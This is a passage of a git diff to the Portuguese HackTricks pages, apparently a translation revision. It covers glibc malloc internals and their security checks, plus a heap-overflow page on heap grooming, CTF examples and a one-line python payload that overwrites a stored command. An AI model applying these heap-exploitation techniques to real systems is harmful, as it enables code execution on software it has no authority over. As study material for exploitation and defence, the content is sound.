Se o chunk seguinte estiver desalinhado: `malloc(): unaligned fastbin chunk detected` +* Se o chunk retornado tiver um tamanho que não está correto por causa de seu índice no fast bin: `malloc(): memory corruption (fast)` +* Se algum chunk usado para preencher o tcache estiver desalinhado: `malloc(): unaligned fastbin chunk detected 3`
@@ -296,17 +296,21 @@ return p; ### Small Bin -Conforme indicado em um comentário, os small bins mantêm um tamanho por índice, portanto, verificar se um chunk válido está disponível é super rápido, então após os fast bins, os small bins são verificados. +Como indicado em um comentário, pequenos bins contêm um tamanho por índice, portanto, verificar se um chunk válido está disponível é super rápido, então, após os fast bins, os small bins são verificados. -A primeira verificação é descobrir se o tamanho solicitado poderia estar dentro de um small bin. Nesse caso, obtenha o **índice** correspondente dentro do small bin e veja se há **qualquer chunk disponível**. +A primeira verificação é descobrir se o tamanho solicitado pode estar dentro de um small bin. Nesse caso, obtenha o **índice** correspondente dentro do smallbin e veja se há **qualquer chunk disponível**. -Em seguida, é realizada uma verificação de segurança verificando: +Em seguida, uma verificação de segurança é realizada verificando: -- se `victim->bk->fd = victim`. Para verificar se ambos os chunks estão corretamente vinculados. +* se `victim->bk->fd = victim`. Para ver se ambos os chunks estão corretamente vinculados. -Nesse caso, o chunk **recebe o bit `inuse`,** a lista duplamente vinculada é corrigida para que esse chunk desapareça dela (pois será usado) e o bit de não ser da arena principal é definido, se necessário. +Nesse caso, o chunk **recebe o bit `inuse`,** a lista duplamente encadeada é corrigida para que esse chunk desapareça dela (já que vai ser usado), e o bit de arena não principal é definido, se necessário. -Por fim, **preencha o índice do tcache do tamanho solicitado** com outros chunks dentro do small bin (se houver). +Finalmente, **preencha o índice tcache do tamanho solicitado** com outros chunks dentro do small bin (se houver). + +
+ +_int_malloc small bin ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 @@ -371,11 +375,11 @@ return p; ### malloc\_consolidate -Se não era um pequeno pedaço, é um grande pedaço e, nesse caso, **`malloc_consolidate`** é chamado para evitar fragmentação de memória. +Se não era um pequeno bloco, é um grande bloco, e neste caso **`malloc_consolidate`** é chamado para evitar a fragmentação de memória.
-chamada malloc_consolidate +chamada de malloc_consolidate ```c /* If this is a large request, consolidate fastbins before continuing. @@ -398,19 +402,19 @@ malloc_consolidate (av); ```
-A função de consolidação malloc basicamente remove chunks do fast bin e os coloca no unsorted bin. Após o próximo malloc, esses chunks serão organizados em seus respectivos small/fast bins. +A função malloc consolidate basicamente remove pedaços do fast bin e os coloca no unsorted bin. Após o próximo malloc, esses pedaços serão organizados em seus respectivos small/fast bins. -Observe que, ao remover esses chunks, se forem encontrados com chunks anteriores ou posteriores que não estão em uso, eles serão **desvinculados e mesclados** antes de colocar o chunk final no **unsorted** bin. +Note que, ao remover esses pedaços, se eles forem encontrados com pedaços anteriores ou seguintes que não estão em uso, eles serão **desvinculados e mesclados** antes de colocar o pedaço final no **unsorted** bin. -Para cada chunk do fast bin, são realizadas algumas verificações de segurança: +Para cada pedaço do fast bin, uma série de verificações de segurança é realizada: -* Se o chunk não estiver alinhado, aciona: `malloc_consolidate(): unaligned fastbin chunk detected` -* Se o chunk tiver um tamanho diferente do que deveria por causa do índice em que está: `malloc_consolidate(): invalid chunk size` -* Se o chunk anterior não estiver em uso e o chunk anterior tiver um tamanho diferente do indicado por `prev_chunk`: `corrupted size vs. prev_size in fastbins` +* Se o pedaço estiver desalinhado, aciona: `malloc_consolidate(): unaligned fastbin chunk detected` +* Se o pedaço tiver um tamanho diferente do que deveria por causa do índice em que está: `malloc_consolidate(): invalid chunk size` +* Se o pedaço anterior não estiver em uso e o pedaço anterior tiver um tamanho diferente do indicado por `prev_chunk`: `corrupted size vs. prev_size in fastbins`
-Função malloc_consolidate +função malloc_consolidate ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 @@ -515,20 +519,20 @@ av->top = p; ### Bin não ordenado -É hora de verificar o bin não ordenado em busca de um possível chunk válido para usar. +É hora de verificar o bin não ordenado em busca de um chunk válido para usar. #### Início -Isso começa com um grande loop que percorrerá o bin não ordenado na direção `bk` até chegar ao final (a estrutura da arena) com `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +Isso começa com um grande loop for que irá percorrer o bin não ordenado na direção `bk` até chegar ao final (a estrutura da arena) com `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` -Além disso, algumas verificações de segurança são realizadas sempre que um novo chunk é considerado: +Além disso, algumas verificações de segurança são realizadas toda vez que um novo chunk é considerado: -* Se o tamanho do chunk for estranho (muito pequeno ou muito grande): `malloc(): tamanho inválido (não ordenado)` -* Se o tamanho do próximo chunk for estranho (muito pequeno ou muito grande): `malloc(): tamanho próximo inválido (não ordenado)` -* Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk: `malloc(): next->prev_size incompatível (não ordenado)` -* Se não `victim->bck->fd == victim` ou não `victim->fd == av` (arena): `malloc(): lista duplamente encadeada não ordenada corrompida` -* Como estamos sempre verificando o último, seu `fd` deve estar sempre apontando para a estrutura da arena. -* Se o próximo chunk não estiver indicando que o anterior está em uso: `malloc(): next->prev_inuse inválido (não ordenado)` +* Se o tamanho do chunk é estranho (muito pequeno ou muito grande): `malloc(): invalid size (unsorted)` +* Se o tamanho do próximo chunk é estranho (muito pequeno ou muito grande): `malloc(): invalid next size (unsorted)` +* Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk: `malloc(): mismatching next->prev_size (unsorted)` +* Se não `victim->bck->fd == victim` ou não `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` +* Como estamos sempre verificando o último, seu `fd` deve sempre apontar para a estrutura da arena. +* Se o próximo chunk não indica que o anterior está em uso: `malloc(): invalid next->prev_inuse (unsorted)`
@@ -585,7 +589,7 @@ malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); #### se `in_smallbin_range` -Se o chunk for maior do que o tamanho solicitado, use-o e defina o restante do espaço do chunk na lista não ordenada e atualize o `last_remainder` com ele. +Se o chunk for maior do que o tamanho solicitado, use-o e coloque o restante do espaço do chunk na lista não ordenada e atualize o `last_remainder` com isso.
@@ -632,14 +636,14 @@ return p; ```
-Se isso foi bem-sucedido, retorne o chunk e acabou, caso contrário, continue executando a função... +Se isso foi bem-sucedido, retorne o chunk e acabou, se não, continue executando a função... -#### se o tamanho for igual +#### se tamanho igual -Continue removendo o chunk do bin, no caso em que o tamanho solicitado é exatamente o mesmo do chunk: +Continue removendo o chunk do bin, caso o tamanho solicitado seja exatamente o do chunk: -* Se o tcache não estiver cheio, adicione-o ao tcache e continue indicando que há um chunk de tcache que poderia ser usado -* Se o tcache estiver cheio, simplesmente use-o retornando-o +* Se o tcache não estiver cheio, adicione-o ao tcache e continue indicando que há um chunk de tcache que pode ser usado +* Se o tcache estiver cheio, apenas use-o retornando-o
@@ -683,20 +687,20 @@ return p; ```
-Se o bloco não for retornado ou adicionado ao tcache, continue com o código... +Se o chunk não for retornado ou adicionado ao tcache, continue com o código... -#### colocar bloco em um bin +#### colocar chunk em um bin -Armazene o bloco verificado no bin pequeno ou no bin grande de acordo com o tamanho do bloco (mantendo o bin grande devidamente organizado). +Armazene o chunk verificado no small bin ou no large bin de acordo com o tamanho do chunk (mantendo o large bin devidamente organizado). -Existem verificações de segurança sendo realizadas para garantir que ambas as listas duplamente encadeadas do bin grande não estejam corrompidas: +Estão sendo realizadas verificações de segurança para garantir que ambas as listas duplamente ligadas do large bin não estejam corrompidas: -* Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): lista duplamente encadeada do bin grande corrompida (nextsize)` -* Se `fwd->bk->fd != fwd`: `malloc(): lista duplamente encadeada do bin grande corrompida (bk)` +* Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` +* Se `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc colocar bloco em um bin +_int_malloc colocar chunk em um bin ```c /* place chunk in bin */ @@ -770,15 +774,15 @@ bck->fd = victim; #### Limites do `_int_malloc` -Neste ponto, se algum bloco foi armazenado no tcache que pode ser usado e o limite é atingido, apenas **retorne um bloco tcache**. +Neste ponto, se algum chunk foi armazenado no tcache que pode ser usado e o limite é alcançado, apenas **retorne um chunk do tcache**. -Além disso, se **MAX\_ITERS** for atingido, saia do loop e obtenha um bloco de uma maneira diferente (bloco superior). +Além disso, se **MAX\_ITERS** for alcançado, saia do loop e obtenha um chunk de uma maneira diferente (top chunk). -Se `return_cached` foi definido, apenas retorne um bloco do tcache para evitar buscas maiores. +Se `return_cached` foi definido, apenas retorne um chunk do tcache para evitar buscas maiores.
-Limites do _int_malloc +Limites do _int_malloc ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 @@ -809,21 +813,21 @@ return tcache_get (tc_idx); ```
-Se os limites não forem atingidos, continue com o código... +Se os limites não forem alcançados, continue com o código... -### Large Bin (por índice) +### Grande Bin (por índice) -Se o pedido for grande (não estiver no small bin) e ainda não tivermos retornado nenhum chunk, obtenha o **índice** do tamanho solicitado no **large bin**, verifique se **não está vazio** ou se o **maior chunk neste bin é maior** do que o tamanho solicitado e, nesse caso, encontre o **menor chunk que pode ser usado** para o tamanho solicitado. +Se o pedido for grande (não na pequena bin) e ainda não tivermos retornado nenhum chunk, obtenha o **índice** do tamanho solicitado na **grande bin**, verifique se **não está vazia** ou se o **maior chunk nesta bin é maior** do que o tamanho solicitado e, nesse caso, encontre o **menor chunk que pode ser usado** para o tamanho solicitado. -Se o espaço restante do chunk finalmente usado puder ser um novo chunk, adicione-o ao unsorted bin e o lsast\_reminder é atualizado. +Se o espaço restante do chunk finalmente usado puder ser um novo chunk, adicione-o à bin não ordenada e o lsast\_reminder é atualizado. -Uma verificação de segurança é feita ao adicionar o lembrete ao unsorted bin: +Uma verificação de segurança é feita ao adicionar o restante à bin não ordenada: -* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks` +* `bck->fd-> bk != bck`: `malloc(): chunks não ordenados corrompidos`
-_int_malloc Large bin (por índice) +_int_malloc Grande bin (por índice) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 @@ -898,17 +902,17 @@ return p; Se um chunk não for encontrado adequado para isso, continue -### Large Bin (próximo maior) +### Grande Bin (próximo maior) -Se na large bin exata não houver nenhum chunk que possa ser usado, comece a percorrer todas as próximas large bins (começando pela imediatamente maior) até que uma seja encontrada (se houver). +Se no grande bin exato não houver nenhum chunk que possa ser usado, comece a percorrer todos os próximos grandes bins (começando pelo imediatamente maior) até que um seja encontrado (se houver). -O restante do chunk dividido é adicionado na unsorted bin, last\_reminder é atualizado e a mesma verificação de segurança é realizada: +O restante do chunk dividido é adicionado no bin não ordenado, last\_reminder é atualizado e a mesma verificação de segurança é realizada: * `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (próximo maior) +_int_malloc Grande bin (próximo maior) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 @@ -1028,11 +1032,11 @@ Neste ponto, é hora de obter um novo chunk do Top chunk (se for grande o sufici Ele começa com uma verificação de segurança para garantir que o tamanho do chunk não seja muito grande (corrompido): -* `chunksize(av->top) > av->system_mem`: `malloc(): tamanho do top corrompido` +* `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size` -Em seguida, ele usará o espaço do top chunk se for grande o suficiente para criar um chunk do tamanho solicitado.\ -Se não houver espaço suficiente, se houver chunks rápidos, consolide-os e tente novamente.\ -Por fim, se não houver espaço suficiente, use `sysmalloc` para alocar o tamanho necessário. +Em seguida, usará o espaço do top chunk se for grande o suficiente para criar um chunk do tamanho solicitado.\ +Caso contrário, se houver chunks rápidos, consolide-os e tente novamente.\ +Finalmente, se não houver espaço suficiente, use `sysmalloc` para alocar o tamanho necessário.
@@ -1105,13 +1109,13 @@ return p; ## sysmalloc -### Início do sysmalloc +### sysmalloc início -Se a arena for nula ou o tamanho solicitado for muito grande (e ainda houver mmaps permitidos), use `sysmalloc_mmap` para alocar espaço e retorná-lo. +Se a arena for nula ou o tamanho solicitado for muito grande (e houver mmaps permitidos restantes), use `sysmalloc_mmap` para alocar espaço e retorná-lo.
-Início do sysmalloc +sysmalloc início ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 @@ -1180,21 +1184,21 @@ return 0; ```
-### Verificações do sysmalloc +### sysmalloc checks -Começa obtendo informações do antigo top chunk e verificando se algumas das seguintes condições são verdadeiras: +Começa obtendo informações do antigo chunk superior e verificando se algumas das seguintes condições são verdadeiras: -* O tamanho do heap antigo é 0 (novo heap) -* O tamanho do heap anterior é maior que MINSIZE e o Top antigo está em uso +* O tamanho do antigo heap é 0 (novo heap) +* O tamanho do heap anterior é maior que MINSIZE e o antigo Top está em uso * O heap está alinhado ao tamanho da página (0x1000, então os 12 bits inferiores precisam ser 0) -Em seguida, também verifica se: +Então, também verifica se: -* O tamanho antigo não tem espaço suficiente para criar um chunk do tamanho solicitado +* O tamanho antigo não tem espaço suficiente para criar um chunk para o tamanho solicitado
-Verificações do sysmalloc +sysmalloc checks ```c /* Record incoming configuration of top */ @@ -1221,8 +1225,8 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ### sysmalloc não é a arena principal -Primeiro tentará **expandir** o heap anterior para este heap. Se não for possível, tentará **alocar um novo heap** e atualizar os ponteiros para poder usá-lo.\ -Por fim, se isso não funcionar, tentará chamar **`sysmalloc_mmap`**. +Ele tentará primeiro **expandir** o heap anterior para este heap. Se não for possível, tentará **alocar um novo heap** e atualizar os ponteiros para poder usá-lo.\ +Finalmente, se isso não funcionar, tente chamar **`sysmalloc_mmap`**.
@@ -1286,9 +1290,15 @@ return mm; } } ``` -### Arena principal do sysmalloc +
-Começa calculando a quantidade de memória necessária. Ele começará solicitando memória contígua para que, neste caso, seja possível usar a memória antiga não utilizada. Também são realizadas algumas operações de alinhamento. +### sysmalloc main arena + +Ele começa calculando a quantidade de memória necessária. Ele começará solicitando memória contígua, então, neste caso, será possível usar a memória antiga não utilizada. Também são realizadas algumas operações de alinhamento. + +
+ +sysmalloc main arena ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 @@ -1342,9 +1352,15 @@ madvise_thp (brk, size); LIBC_PROBE (memory_sbrk_more, 2, brk, size); } ``` -### Erro anterior da arena principal do `sysmalloc` 1 +
-Se o anterior retornou `MORECORE_FAILURE`, tente alocar memória novamente usando `sysmalloc_mmap_fallback` +### sysmalloc main arena previous error 1 + +Se o anterior retornou `MORECORE_FAILURE`, tente novamente alocar memória usando `sysmalloc_mmap_fallback` + +
+ +sysmalloc main arena previous error 1 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 @@ -1375,9 +1391,15 @@ snd_brk = brk + size; } } ``` -### Continuação da arena principal do sysmalloc +
+ +### sysmalloc main arena continue Se o anterior não retornou `MORECORE_FAILURE`, se funcionou, crie alguns alinhamentos: + +
+ +sysmalloc main arena previous error 2 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 @@ -1562,9 +1584,9 @@ _int_free (av, old_top, 1); ```
-### sysmalloc final +### sysmalloc finale -Conclua a alocação atualizando as informações da arena +Finalize a alocação atualizando as informações da arena ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 @@ -1596,7 +1618,7 @@ return 0;
-Código sysmalloc_mmap +código sysmalloc_mmap ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 @@ -1687,16 +1709,16 @@ return chunk2mem (p);
{% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Supporte o HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 9c79bcb67..bb95200e8 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/binary-exploitation/libc-heap/heap-overflow.md b/binary-exploitation/libc-heap/heap-overflow.md index 538b597f2..9e4097d00 100644 --- a/binary-exploitation/libc-heap/heap-overflow.md +++ b/binary-exploitation/libc-heap/heap-overflow.md @@ -1,55 +1,55 @@ # Heap Overflow {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Informações Básicas +## Basic Information -Um heap overflow é como um [**stack overflow**](../stack-overflow/), mas no heap. Basicamente significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado**. +Um heap overflow é como um [**stack overflow**](../stack-overflow/) mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.** -Em stack overflows, sabemos que alguns registradores como o ponteiro de instrução ou o quadro de pilha serão restaurados a partir da pilha e poderia ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no pedaço de heap que pode ser sobrecarregado. No entanto, poderia ser informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e de como um atacante poderia abusar disso. +Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso. {% hint style="success" %} -Para encontrar deslocamentos de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). {% endhint %} ### Stack Overflows vs Heap Overflows -Em stack overflows, a organização e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidindo, em **lugares específicos da execução do programa a memória da pilha geralmente armazena um tipo de dados semelhante** e tem uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função. +Em stack overflows, a disposição e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidida, em **lugares específicos da execução do programa, a memória da pilha geralmente armazena um tipo semelhante de dados** e tem uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função. -No entanto, no caso de um heap overflow, a memória usada não é linear, mas **os pedaços alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) por causa de **bins e zones** que separam alocações por tamanho e porque **a memória anterior liberada é usada** antes de alocar novos pedaços. É **complicado saber qual objeto vai colidir com o objeto vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer com que o objeto desejado esteja próximo na memória** do que o que pode ser sobrecarregado. +No entanto, no caso de um heap overflow, a memória usada não é linear, mas **chunks alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) devido a **bins e zonas** que separam alocações por tamanho e porque **memória previamente liberada é usada** antes de alocar novos chunks. É **complicado saber qual objeto estará colidindo com o vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer o objeto desejado estar próximo na memória** do que pode ser transbordado. -Uma das técnicas usadas para isso é o **Heap Grooming**, que é usado, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post é explicado como, no kernel do iOS, quando uma zona fica sem memória para armazenar pedaços de memória, ela a expande em uma página do kernel, e esta página é dividida em pedaços dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, então esses pedaços são usados de forma randomizada para dificultar a exploração desses ataques). +Uma das técnicas usadas para isso é **Heap Grooming**, que é usada, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post, é explicado como, quando no kernel do iOS, quando uma zona fica sem memória para armazenar chunks de memória, ela a expande por uma página do kernel, e essa página é dividida em chunks dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, depois esses chunks são usados de maneira aleatória para dificultar a exploração desses ataques). -Portanto, no post anterior onde um heap overflow está ocorrendo, para forçar o objeto sobrecarregado a colidir com uma ordem vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os pedaços livres sejam preenchidos e que uma nova página seja criada**. +Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os chunks livres sejam preenchidos e que uma nova página seja criada**. -Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora de linha associada a uma porta mach iOS** é um candidato ideal. Ao criar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e quando a porta mach correspondente é destruída, a alocação correspondente será imediatamente liberada de volta para `kfree`. +Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora da linha associada a um mach port do iOS** é um candidato ideal. Ao elaborar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e, quando o mach port correspondente é destruído, a alocação correspondente será imediatamente liberada de volta para `kfree`. -Em seguida, alguns desses espaços reservados podem ser **liberados**. A lista de liberação **`kalloc.4096` libera elementos em uma ordem de último a entrar, primeiro a sair**, o que basicamente significa que se alguns espaços reservados forem liberados e o exploit tentar alocar vários objetos vítimas enquanto tenta alocar o objeto vulnerável à sobrecarga, é provável que este objeto seja seguido por um objeto vítima. +Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro** (last-in-first-out), o que basicamente significa que se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima. -### Exemplo libc +### Example libc -[**Nesta página**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo pedaço e a posição do tamanho prev é possível **consolidar um pedaço usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente** sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também. +[**Nesta página**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo chunk e a posição do tamanho prev é possível **consolidar um chunk usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também. -Outro exemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora e **obter a bandeira**. +Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**. -No exemplo [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) é possível ver como abusar de um estouro de buffer é possível **sobrescrever em um pedaço próximo um endereço** onde **dados arbitrários do usuário** serão escritos. +No exemplo do [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) é possível ver como abusar de um buffer overflow é possível **sobrescrever em um chunk próximo um endereço** onde **dados arbitrários do usuário** serão escritos. -### Exemplo ARM64 +### Example ARM64 -Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no próximo pedaço a partir do pedaço sobrecarregado. Portanto, é possível modificar o comando executado sobrescrevendo-o com um exploit simples como: +Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no seguinte chunk do chunk transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` @@ -57,7 +57,7 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt * [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) * Usamos uma vulnerabilidade de Integer Overflow para obter um Heap Overflow. -* Corrompemos ponteiros para uma função dentro de uma `struct` do chunk estourado para definir uma função como `system` e obter execução de código. +* Corrompemos ponteiros para uma função dentro de um `struct` do chunk transbordado para definir uma função como `system` e obter execução de código. {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -65,11 +65,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
